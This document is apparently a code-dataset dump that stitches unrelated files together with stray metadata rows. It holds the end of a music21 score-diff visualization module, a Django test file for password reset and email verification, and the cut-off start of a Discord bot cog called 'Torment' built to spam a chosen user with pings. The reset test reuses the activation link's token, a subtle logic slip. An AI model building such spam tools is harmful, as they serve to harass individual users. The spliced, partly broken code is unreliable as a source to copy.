textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note head fill")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editnoteheadparenthesis":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note head paren")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed note head paren")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editstemdirection":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed stem direction")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed stem direction")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editstyle":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
sd1 = op[1].styledict
sd2 = op[2].styledict
changedStr: str = ""
for k1, v1 in sd1.items():
if k1 not in sd2 or sd2[k1] != v1:
if changedStr:
changedStr += ","
changedStr += k1
# one last thing: check for keys in sd2 that aren't in sd1
for k2 in sd2:
if k2 not in sd1:
if changedStr:
changedStr += ","
changedStr += k2
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression(f"changed note {changedStr}")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression(f"changed note {changedStr}")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
# accident
elif op[0] == "accidentins":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
assert len(op) == 5 # the indices must be there
# color the modified note in both scores using Visualization.INSERTED_COLOR
chord1 = score1.recurse().getElementById(op[1].general_note)
note1 = chord1
if "Chord" in note1.classes:
# color only the indexed note's accidental in the chord
idx = op[4][0]
note1 = note1.notes[idx]
if note1.pitch.accidental:
note1.pitch.accidental.style.color = Visualization.INSERTED_COLOR
note1.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted accidental")
textExp.style.color = Visualization.INSERTED_COLOR
if note1.activeSite is not None:
note1.activeSite.insert(note1.offset, textExp)
else:
chord1.activeSite.insert(chord1.offset, textExp)
chord2 = score2.recurse().getElementById(op[2].general_note)
note2 = chord2
if "Chord" in note2.classes:
# color only the indexed note's accidental in the chord
idx = op[4][1]
note2 = note2.notes[idx]
if note2.pitch.accidental:
note2.pitch.accidental.style.color = Visualization.INSERTED_COLOR
note2.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted accidental")
textExp.style.color = Visualization.INSERTED_COLOR
if note2.activeSite is not None:
note2.activeSite.insert(note2.offset, textExp)
else:
chord2.activeSite.insert(chord2.offset, textExp)
elif op[0] == "accidentdel":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
assert len(op) == 5 # the indices must be there
# color the modified note in both scores using Visualization.DELETED_COLOR
chord1 = score1.recurse().getElementById(op[1].general_note)
note1 = chord1
if "Chord" in note1.classes:
# color only the indexed note's accidental in the chord
idx = op[4][0]
note1 = note1.notes[idx]
if note1.pitch.accidental:
note1.pitch.accidental.style.color = Visualization.DELETED_COLOR
note1.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted accidental")
textExp.style.color = Visualization.DELETED_COLOR
if note1.activeSite is not None:
note1.activeSite.insert(note1.offset, textExp)
else:
chord1.activeSite.insert(chord1.offset, textExp)
chord2 = score2.recurse().getElementById(op[2].general_note)
note2 = chord2
if "Chord" in note2.classes:
# color only the indexed note's accidental in the chord
idx = op[4][1]
note2 = note2.notes[idx]
if note2.pitch.accidental:
note2.pitch.accidental.style.color = Visualization.DELETED_COLOR
note2.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted accidental")
textExp.style.color = Visualization.DELETED_COLOR
if note2.activeSite is not None:
note2.activeSite.insert(note2.offset, textExp)
else:
chord2.activeSite.insert(chord2.offset, textExp)
elif op[0] == "accidentedit":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
assert len(op) == 5 # the indices must be there
# color the changed accidental (in both scores) using Visualization.CHANGED_COLOR
chord1 = score1.recurse().getElementById(op[1].general_note)
note1 = chord1
if "Chord" in note1.classes:
# color just the indexed note in the chord
idx = op[4][0]
note1 = note1.notes[idx]
if note1.pitch.accidental:
note1.pitch.accidental.style.color = Visualization.CHANGED_COLOR
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed accidental")
textExp.style.color = Visualization.CHANGED_COLOR
if note1.activeSite is not None:
note1.activeSite.insert(note1.offset, textExp)
else:
chord1.activeSite.insert(chord1.offset, textExp)
chord2 = score2.recurse().getElementById(op[2].general_note)
note2 = chord2
if "Chord" in note2.classes:
# color just the indexed note in the chord
idx = op[4][1]
note2 = note2.notes[idx]
if note2.pitch.accidental:
note2.pitch.accidental.style.color = Visualization.CHANGED_COLOR
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed accidental")
textExp.style.color = Visualization.CHANGED_COLOR
if note2.activeSite is not None:
note2.activeSite.insert(note2.offset, textExp)
else:
chord2.activeSite.insert(chord2.offset, textExp)
elif op[0] == "dotins":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# In music21, the dots are not separately colorable from the note,
# so we will just color the modified note here in both scores, using Visualization.CHANGED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("inserted dot")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("inserted dot")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "dotdel":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# In music21, the dots are not separately colorable from the note,
# so we will just color the modified note here in both scores, using Visualization.CHANGED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("deleted dot")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("deleted dot")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
# tuplets
elif op[0] == "instuplet":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("inserted tuplet")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("inserted tuplet")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "deltuplet":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("deleted tuplet")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("deleted tuplet")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "edittuplet":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed tuplet")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed tuplet")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
# ties
elif op[0] == "tieins":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
assert len(op) == 5 # the indices must be there
# Color the modified note here in both scores, using Visualization.INSERTED_COLOR
chord1 = score1.recurse().getElementById(op[1].general_note)
note1 = chord1
if "Chord" in note1.classes:
# color just the indexed note in the chord
idx = op[4][0]
note1 = note1.notes[idx]
note1.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted tie")
textExp.style.color = Visualization.INSERTED_COLOR
if note1.activeSite is not None:
note1.activeSite.insert(note1.offset, textExp)
else:
chord1.activeSite.insert(chord1.offset, textExp)
chord2 = score2.recurse().getElementById(op[2].general_note)
note2 = chord2
if "Chord" in note2.classes:
# color just the indexed note in the chord
idx = op[4][1]
note2 = note2.notes[idx]
note2.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted tie")
textExp.style.color = Visualization.INSERTED_COLOR
if note2.activeSite is not None:
note2.activeSite.insert(note2.offset, textExp)
else:
chord2.activeSite.insert(chord2.offset, textExp)
elif op[0] == "tiedel":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
assert len(op) == 5 # the indices must be there
# Color the modified note in both scores, using Visualization.DELETED_COLOR
chord1 = score1.recurse().getElementById(op[1].general_note)
note1 = chord1
if "Chord" in note1.classes:
# color just the indexed note in the chord
idx = op[4][0]
note1 = note1.notes[idx]
note1.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted tie")
textExp.style.color = Visualization.DELETED_COLOR
if note1.activeSite is not None:
note1.activeSite.insert(note1.offset, textExp)
else:
chord1.activeSite.insert(chord1.offset, textExp)
chord2 = score2.recurse().getElementById(op[2].general_note)
note2 = chord2
if "Chord" in note2.classes:
# color just the indexed note in the chord
idx = op[4][1]
note2 = note2.notes[idx]
note2.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted tie")
textExp.style.color = Visualization.DELETED_COLOR
if note2.activeSite is not None:
note2.activeSite.insert(note2.offset, textExp)
else:
chord2.activeSite.insert(chord2.offset, textExp)
# expressions
elif op[0] == "insexpression":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the note in both scores using Visualization.INSERTED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted expression")
textExp.style.color = Visualization.INSERTED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted expression")
textExp.style.color = Visualization.INSERTED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "delexpression":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the deleted expression in score1 using Visualization.DELETED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted expression")
textExp.style.color = Visualization.DELETED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted expression")
textExp.style.color = Visualization.DELETED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editexpression":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the changed beam (in both scores) using Visualization.CHANGED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed expression")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed expression")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
# articulations
elif op[0] == "insarticulation":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note in both scores using Visualization.INSERTED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted articulation")
textExp.style.color = Visualization.INSERTED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted articulation")
textExp.style.color = Visualization.INSERTED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "delarticulation":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note in both scores using Visualization.DELETED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted articulation")
textExp.style.color = Visualization.DELETED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted articulation")
textExp.style.color = Visualization.DELETED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editarticulation":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note (in both scores) using Visualization.CHANGED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed articulation")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed articulation")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
# lyrics
elif op[0] == "inslyric":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note in both scores using Visualization.INSERTED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted lyric")
textExp.style.color = Visualization.INSERTED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.INSERTED_COLOR
textExp = m21.expressions.TextExpression("inserted lyric")
textExp.style.color = Visualization.INSERTED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "dellyric":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note in both scores using Visualization.DELETED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted lyric")
textExp.style.color = Visualization.DELETED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.DELETED_COLOR
textExp = m21.expressions.TextExpression("deleted lyric")
textExp.style.color = Visualization.DELETED_COLOR
note2.activeSite.insert(note2.offset, textExp)
elif op[0] == "editlyric":
assert isinstance(op[1], AnnNote)
assert isinstance(op[2], AnnNote)
# color the modified note (in both scores) using Visualization.CHANGED_COLOR
note1 = score1.recurse().getElementById(op[1].general_note)
note1.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed lyric")
textExp.style.color = Visualization.CHANGED_COLOR
note1.activeSite.insert(note1.offset, textExp)
note2 = score2.recurse().getElementById(op[2].general_note)
note2.style.color = Visualization.CHANGED_COLOR
textExp = m21.expressions.TextExpression("changed lyric")
textExp.style.color = Visualization.CHANGED_COLOR
note2.activeSite.insert(note2.offset, textExp)
else:
print(f"Annotation type {op[0]} not yet supported for visualization", file=sys.stderr)
@staticmethod
def show_diffs(score1: m21.stream.Score,
score2: m21.stream.Score,
out_path1: Union[str, Path] = None,
out_path2: Union[str, Path] = None):
"""
Render two (presumably marked-up) music21 scores. If both out_path1 and out_path2 are not None,
save the rendered PDFs at those two locations, otherwise just display them using the default
PDF viewer on the system.
Args:
score1 (music21.stream.Score): The first score to render
score2 (music21.stream.Score): The second score to render
out_path1 (str, Path): Where to save the first marked-up rendered score PDF.
If out_path1 is None, both PDFs will be displayed in the default PDF viewer.
(default is None)
out_path2 (str, Path): Where to save the second marked-up rendered score PDF.
If out_path2 is None, both PDFs will be displayed in the default PDF viewer.
(default is None)
"""
# display the two (presumably annotated) scores
originalComposer1: str = None
originalComposer2: str = None
if score1.metadata is None:
score1.metadata = m21.metadata.Metadata()
if score2.metadata is None:
score2.metadata = m21.metadata.Metadata()
originalComposer1 = score1.metadata.composer
if originalComposer1 is None:
score1.metadata.composer = "score1"
else:
score1.metadata.composer = "score1 " + originalComposer1
originalComposer2 = score2.metadata.composer
if originalComposer2 is None:
score2.metadata.composer = "score2"
else:
score2.metadata.composer = "score2 " + originalComposer2
#save files if requested
if (out_path1 is not None) and (out_path2 is not None):
score1.write("musicxml.pdf", makeNotation=False, fp=out_path1)
score2.write("musicxml.pdf", makeNotation=False, fp=out_path2)
print(f"Annotated scores saved in {out_path1} and {out_path2}.", file=sys.stderr)
else: # just display the scores
score1.show("musicxml.pdf", makeNotation=False)
score2.show("musicxml.pdf", makeNotation=False)
| 53.738
| 114
| 0.579255
| 5,184
| 53,738
| 5.948881
| 0.059799
| 0.051882
| 0.119329
| 0.080742
| 0.896138
| 0.874218
| 0.856253
| 0.840267
| 0.817147
| 0.79834
| 0
| 0.033457
| 0.334233
| 53,738
| 999
| 115
| 53.791792
| 0.828521
| 0.117905
| 0
| 0.805096
| 0
| 0
| 0.050772
| 0.000491
| 0
| 0
| 0
| 0
| 0.109554
| 1
| 0.002548
| false
| 0
| 0.006369
| 0
| 0.014013
| 0.002548
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0ee28ce4c1f2b1d085757948df3bd879e23a3db1
| 7,917
|
py
|
Python
|
backend/apps/accounts/tests.py
|
mortendaehli/django-react-boilerplate
|
09687e5810acacf822602b7c7ae2892f27a0e7f2
|
[
"MIT"
] | null | null | null |
backend/apps/accounts/tests.py
|
mortendaehli/django-react-boilerplate
|
09687e5810acacf822602b7c7ae2892f27a0e7f2
|
[
"MIT"
] | null | null | null |
backend/apps/accounts/tests.py
|
mortendaehli/django-react-boilerplate
|
09687e5810acacf822602b7c7ae2892f27a0e7f2
|
[
"MIT"
] | null | null | null |
from django.core import mail
from rest_framework import status
from rest_framework.test import APITestCase
class PasswordResetTest(APITestCase):
register_url = "/api/v1/users/"
activate_url = "/api/v1/users/activation/"
login_url = "/api/v1/token/login/"
send_reset_password_email_url = "/api/v1/users/reset_password/"
confirm_reset_password_url = "/api/v1/users/reset_password_confirm/"
user_data = {
"email": "test@example.com",
"username": "test_user",
"password": "verysecret"
}
login_data = {
"email": "test@example.com",
"password": "verysecret"
}
def test_reset_password(self):
response = self.client.post(self.register_url, self.user_data, format="json")
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(len(mail.outbox), 1)
# parse email to get uid and token
email_lines = mail.outbox[0].body.splitlines()
activation_link = [l for l in email_lines if "/activate/" in l][0]
uid, token = activation_link.split("/")[-2:]
# verify email
data = {"uid": uid, "token": token}
response = self.client.post(self.activate_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
# reset password
data = {"email": self.user_data["email"]}
response = self.client.post(self.send_reset_password_email_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
# parse reset-password email to get uid and token it is a second email!
email_lines = mail.outbox[1].body.splitlines()
uid, token = activation_link.split("/")[-2:]
# confirm reset password
data = {"uid": uid, "token": token, "new_password": "new_verysecret"}
response = self.client.post(self.confirm_reset_password_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
# login to get the authentication token with old password
response = self.client.post(self.login_url, self.login_data, format="json")
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
# login to get the authentication token with new password
login_data = dict(self.login_data)
login_data["password"] = "new_verysecret"
response = self.client.post(self.login_url, login_data, format="json")
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_reset_password_inactive_user(self):
# register the new user
response = self.client.post(self.register_url, self.user_data, format="json")
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
# reset password for inactive user
data = {"email": self.user_data["email"]}
response = self.client.post(self.send_reset_password_email_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(len(mail.outbox), 1) # the email wasnt send
def test_reset_password_wrong_email(self):
data = {"email": "wrong@email.com"}
response = self.client.post(self.send_reset_password_email_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(len(mail.outbox), 0) # the email wasnt send
class EmailVerificationTest(APITestCase):
register_url = "/api/v1/users/"
activate_url = "/api/v1/users/activation/"
resend_verification_url = "/api/v1/users/resend_activation/"
login_url = "/api/v1/token/login/"
user_details_url = "/api/v1/users/"
user_data = {
"email": "test@example.com",
"username": "test_user",
"password": "verysecret"
}
login_data = {
"email": "test@example.com",
"password": "verysecret"
}
def test_register_with_email_verification(self):
response = self.client.post(self.register_url, self.user_data, format="json")
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(len(mail.outbox), 1)
# parse email to get uid and token
email_lines = mail.outbox[0].body.splitlines()
activation_link = [l for l in email_lines if "/activate/" in l][0]
uid, token = activation_link.split("/")[-2:]
# verify email
data = {"uid": uid, "token": token}
response = self.client.post(self.activate_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
# login to get the authentication token
response = self.client.post(self.login_url, self.login_data, format="json")
self.assertTrue("auth_token" in response.json())
token = response.json()["auth_token"]
# set token in the header
self.client.credentials(HTTP_AUTHORIZATION='Token ' + token)
response = self.client.get(self.user_details_url, format="json")
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(len(response.json()), 1)
self.assertEqual(response.json()[0]["email"], self.user_data["email"])
self.assertEqual(response.json()[0]["username"], self.user_data["username"])
def test_register_resend_verification(self):
response = self.client.post(self.register_url, self.user_data, format="json")
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
self.assertEqual(len(mail.outbox), 1)
# login to get the authentication token
response = self.client.post(self.login_url, self.login_data, format="json")
self.assertTrue("auth_token" in response.json())
token = response.json()["auth_token"]
# set token in the header
self.client.credentials(HTTP_AUTHORIZATION='Token ' + token)
response = self.client.get(self.user_details_url, format="json")
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
# clear the auth_token in header
self.client.credentials()
data = {"email": self.user_data["email"]}
response = self.client.post(self.resend_verification_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
# there should be two emails in the outbox
self.assertEqual(len(mail.outbox), 2)
# parse the last email
email_lines = mail.outbox[1].body.splitlines()
activation_link = [l for l in email_lines if "/activate/" in l][0]
uid, token = activation_link.split("/")[-2:]
# verify the email
data = {"uid": uid, "token": token}
response = self.client.post(self.activate_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) # email verified
def test_resend_verification_wrong_email(self):
response = self.client.post(self.register_url, self.user_data, format="json")
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
# resend the verification email but with WRONG email
data = {"email": self.user_data["email"] + "_this_email_is_wrong"}
response = self.client.post(self.resend_verification_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_activate_with_wrong_uid_token(self):
response = self.client.post(self.register_url, self.user_data, format="json")
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
# verify the email with wrong data
data = {"uid": "wrong-uid", "token": "wrong-token"}
response = self.client.post(self.activate_url, data, format="json")
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
| 45.24
| 92
| 0.679045
| 1,018
| 7,917
| 5.074656
| 0.105108
| 0.084204
| 0.076655
| 0.085172
| 0.818235
| 0.789586
| 0.774874
| 0.741967
| 0.710995
| 0.710995
| 0
| 0.01422
| 0.200581
| 7,917
| 175
| 93
| 45.24
| 0.802022
| 0.093596
| 0
| 0.710744
| 0
| 0
| 0.112975
| 0.020694
| 0
| 0
| 0
| 0
| 0.256198
| 1
| 0.057851
| false
| 0.132231
| 0.024793
| 0
| 0.214876
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
0ee729eb61cb183ad66176da31d9c1eab47c4e27
| 925
|
py
|
Python
|
jutil/modelfields.py
|
bachvtuan/django-jutil
|
b618d53e37b17dc19b9c43d86a7883a4dbf67634
|
[
"MIT"
] | null | null | null |
jutil/modelfields.py
|
bachvtuan/django-jutil
|
b618d53e37b17dc19b9c43d86a7883a4dbf67634
|
[
"MIT"
] | null | null | null |
jutil/modelfields.py
|
bachvtuan/django-jutil
|
b618d53e37b17dc19b9c43d86a7883a4dbf67634
|
[
"MIT"
] | null | null | null |
from typing import Any
from django.db import models
from django.utils.html import strip_tags
class SafeCharField(models.CharField):
"""
CharField which strips HTML tags from form data on save.
"""
_pyi_private_set_type: str # for mypy_django_plugin
_pyi_private_get_type: str # for mypy_django_plugin
_pyi_lookup_exact_type: Any # for mypy_django_plugin
def save_form_data(self, instance, data):
setattr(instance, self.name, strip_tags(str(data)) if data else data)
class SafeTextField(models.TextField):
"""
TextField which strips HTML tags from form data on save.
"""
_pyi_private_set_type: str # for mypy_django_plugin
_pyi_private_get_type: str # for mypy_django_plugin
_pyi_lookup_exact_type: Any # for mypy_django_plugin
def save_form_data(self, instance, data):
setattr(instance, self.name, strip_tags(str(data)) if data else data)
| 30.833333
| 77
| 0.737297
| 136
| 925
| 4.698529
| 0.294118
| 0.065728
| 0.122066
| 0.178404
| 0.748044
| 0.748044
| 0.748044
| 0.748044
| 0.748044
| 0.748044
| 0
| 0
| 0.192432
| 925
| 29
| 78
| 31.896552
| 0.855422
| 0.272432
| 0
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.133333
| false
| 0
| 0.2
| 0
| 0.866667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
0ee80ca4bb178efea5d91eb26a5f47dcc3bb808e
| 12,574
|
py
|
Python
|
Cogs/Torment.py
|
skylarr1227/CorpBot.py
|
a6b4de2ff127320085411dd478e923c02d5e9f57
|
[
"MIT"
] | null | null | null |
Cogs/Torment.py
|
skylarr1227/CorpBot.py
|
a6b4de2ff127320085411dd478e923c02d5e9f57
|
[
"MIT"
] | null | null | null |
Cogs/Torment.py
|
skylarr1227/CorpBot.py
|
a6b4de2ff127320085411dd478e923c02d5e9f57
|
[
"MIT"
] | null | null | null |
import asyncio
import discord
import os
from datetime import datetime
from discord.ext import commands
from Cogs import DisplayName
def setup(bot):
# Add the bot and deps
settings = bot.get_cog("Settings")
bot.add_cog(Torment(bot, settings))
# This is the Torment module. It spams the target with pings for awhile
class Torment(commands.Cog):
# Init with the bot reference, and a reference to the settings var
def __init__(self, bot, settings):
self.bot = bot
self.waitBetween = 1 # number of seconds to wait before sending another message
self.settings = settings
self.toTorment = False
@commands.command(pass_context=True, hidden=True)
async def tormentdelay(self, ctx, delay : int = None):
"""Sets the delay in seconds between messages (owner only)."""
channel = ctx.message.channel
author = ctx.message.author
server = ctx.message.guild
# Only allow owner to change server stats
isOwner = self.settings.isOwner(ctx.author)
if isOwner == None:
return
elif isOwner == False:
return
if delay == None:
if self.waitBetween == 1:
await ctx.message.author.send('Current torment delay is *1 second.*')
else:
await ctx.message.author.send('Current torment delay is *{} seconds.*'.format(self.waitBetween))
return
try:
delay = int(delay)
except Exception:
